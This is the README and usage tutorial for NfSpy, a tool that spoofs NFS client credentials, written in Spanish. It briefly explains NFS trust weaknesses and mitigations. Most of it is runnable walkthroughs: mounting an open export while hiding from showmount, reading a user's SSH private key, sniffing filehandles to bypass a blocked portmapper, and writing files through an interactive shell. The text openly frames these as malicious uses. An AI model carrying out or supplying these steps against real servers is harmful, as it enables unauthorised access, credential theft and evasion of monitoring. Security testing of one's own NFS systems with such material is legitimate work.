
Cliente NFS de suplantación de ID
por Daniel Miller
NfSpy es una biblioteca de Python para automatizar la falsificación de credenciales NFS al montar un recurso compartido NFS. Se incluyen dos programas cliente:
nfspy utiliza la biblioteca Filesystem in Userspace (FUSE) para montar un recurso compartido NFS en Linux. Esto permite utilizar cualquier programa habitual de búsqueda y manipulación de archivos como grep y find para explorar la exportación NFS.
nfspysh es un shell interactivo de tipo ftp para explorar exportaciones NFS. No requiere la biblioteca FUSE, por lo que puede ejecutarse en plataformas que no sean Linux.
NFS anterior a la versión 4 depende de las relaciones de confianza entre hosts para la autenticación. El servidor NFS confía en que cualquier máquina cliente autentique a los usuarios y asigne los mismos ID de usuario (UID) que utiliza el sistema de archivos compartido. Esto funciona, por ejemplo, en dominios NIS, NIS+ y LDAP, pero solo si se sabe que la máquina cliente no está comprometida ni está falsificando su identidad. Esto se debe a que la única autenticación en el protocolo NFS es el paso de UID y GID (ID de grupo). Hay algunas cosas que se pueden hacer para mejorar la seguridad de NFS, pero muchas de ellas son soluciones incompletas, e incluso con las tres que se enumeran aquí, aún sería posible evitar las medidas de seguridad.
El servidor o el recurso compartido ("export" en la jerga de NFS) puede configurarse con root_squash, lo que significa que cualquier solicitud que llegue afirmando ser UID o GID 0 (root) será tratada como el usuario nobody, o equivalente en el sistema. Esto no impide que un atacante falsifique cualquier otra combinación UID/GID, pero protegerá la información y las configuraciones más sensibles de la exportación.
Otro ajuste que se puede habilitar es nfs_portmon, que deniega las solicitudes procedentes de puertos de origen fuera del rango 513-1024. Dado que normalmente solo root puede asignar estos puertos, esto impide que un usuario normal de una máquina de confianza escriba y utilice su propio cliente NFS que falsifique UID/GID. No hace nada para impedir que un host malicioso, un usuario con permisos su o una máquina comprometida a nivel de root haga lo mismo.
Los recursos compartidos/exportaciones se pueden controlar para que solo ciertas máquinas puedan acceder a ellos. Estas listas de control de acceso pueden consistir en:
La mejor configuración sería utilizar una lista de hosts, ya que consultar el demonio nfs solo devolverá el nombre de la lista, no qué direcciones o nombres contiene. Le seguirían las direcciones IP o los nombres de host, ya que son más difíciles de falsificar. Los prefijos IP y "todos" son indicadores de inseguridad, ya que hay poca o ninguna restricción sobre qué direcciones pueden conectarse.
Se puede ver una lista de opciones ejecutando
nfspy --help
Hay un servidor NFS en 192.168.1.124.
$ showmount -e 192.168.1.124
Export list for 192.168.1.124:
/home (everyone)
Monta el recurso compartido. Usar sudo te permite enlazar un puerto privilegiado, y la opción allow_other permite que cualquier usuario use el sistema de archivos. La otra opción nueva aquí es "hide", que inmediatamente "desmonta" el recurso compartido en el servidor, pero conserva el filehandle que obtuvo. Esto oculta tu presencia de cualquiera que use showmount -a
$ sudo nfspy -o server=192.168.1.124:/home,hide,allow_other,ro,intr /mnt
¡Disfruta de tu nueva libertad!
$ cd /mnt
/mnt$ ls -l
drwx------ 74 8888 200 4096 2011-03-03 09:55 smithj
/mnt$ cd smithj
/mnt/smithj$ cat .ssh/id.rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,30AEB543E512CA19
<snip>
Para desmontar, usa fusermount:
$ sudo fusermount -u /mnt
Hay un servidor NFS en 192.168.1.124. Portmap está bloqueado, por lo que no puedes obtener una lista de recursos compartidos, pero puedes esnifar el tráfico de red.
$ sudo tshark -n -i eth0 -T fields -e nfs.fhandle
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
01:00:04:00:01:00:22:00:e5:03:d8:9d:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00
^C3 packets captured
Ahora usa las opciones de montaje dirhandle y getroot para evitar usar el demonio de montaje, y usa la opción nfsport para evitar usar el portmapper, recorriendo el árbol de directorios hasta la raíz de la exportación.
$ sudo nfspy -o rw,server=192.168.1.124:,nfsport=2049/udp,dirhandle=01:00:04:01:01:00:22:00:e5:03:d8:9d:07:00:22:00:15:83:74:d5:00:00:00:00:00:00:00:00:00:00:00:00,getroot mnt
Observa que no proporcionamos una ruta de montaje, ya que todo lo que sabemos es el filehandle NFS. Para que esto funcione, el manejador debe ser de un directorio, no de un archivo, y tienes que trabajar rápido o el manejador quedará obsoleto.
El programa tshark forma parte del proyecto Wireshark. El conocido programa tcpdump también tiene la capacidad de decodificar filehandles NFS con la opción -u:
sudo tcpdump -n -i eth1 -u -- port 2049
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
11:16:38.041242 IP 192.168.1.5.3057978128 > 192.168.1.124.2049: 120 getattr fh[2070001:762001:0:7500c611:a04186e6:edccffaa:1a0a608e:a065:500859ff:762001:adebb708]
Estos filehandles son valores de 4 bytes separados por dos puntos, por lo que tendrás que rellenarlos con ceros por tu cuenta; NfSpy simplemente eliminará los dos puntos, lo cual es incorrecto.
nfspysh acepta el mismo conjunto básico de opciones y en el mismo formato que nfspy, por lo que el tutorial anterior debería funcionar bien. La lista de comandos se puede ver con el comando "help".
$ sudo PYTHONPATH=. python scripts/nfspysh -o server=127.0.0.1:/home/miller/nfs
[email protected]:/home/miller/nfs:/> ls
/:
040775 1000 1000 4096 2013-04-13 23:20:37 .
040775 1000 1000 4096 2013-04-13 23:20:37 ..
040775 1000 1000 4096 2013-04-11 06:36:48 public
040775 1000 1000 4096 2013-04-13 23:26:40 more
040700 0 1000 4096 2013-04-11 06:39:12 secrets
100666 1000 1000 5 2013-04-13 23:28:02 README.md
120777 1000 1000 21 2013-04-13 13:00:24 nmap -> /usr/local/share/nmap
[email protected]:/home/miller/nfs:/more> help
Known commands:
cd
chmod
chown
exit
get
help
lcd
lpwd
ls
mkdir
mv
put
pwd
rm
rmdir
umask
[email protected]:/home/miller/nfs:/more> help get
get <filename> [<localname>]
Retrieve <filename> and save to <localname>. If no <localname> is given,
defaults to the basename of <filename> in the current local working directory.
[email protected]:/home/miller/nfs:/more> exit
Quitting.
El acceso de escritura está en beta. Ha funcionado en mis pruebas en un puñado de sistemas, pero podría necesitar más pruebas. Debido a esto, NfSpy monta por defecto en modo ro. Especifica la opción de montaje rw para cambiar esto. (nfspysh no tiene un modo de solo lectura. ¡Ten cuidado!)
NfSpy no funciona con los servicios estándar lockd y statd, lo que podría causar problemas al escribir archivos. Sin embargo, para solo lectura y para la mayoría de los usos malintencionados para los que fue diseñado, esto no debería ser un problema.
NfSpy solo es compatible con NFSv3 por ahora. Las versiones futuras podrían elegir inteligentemente una versión de NFS.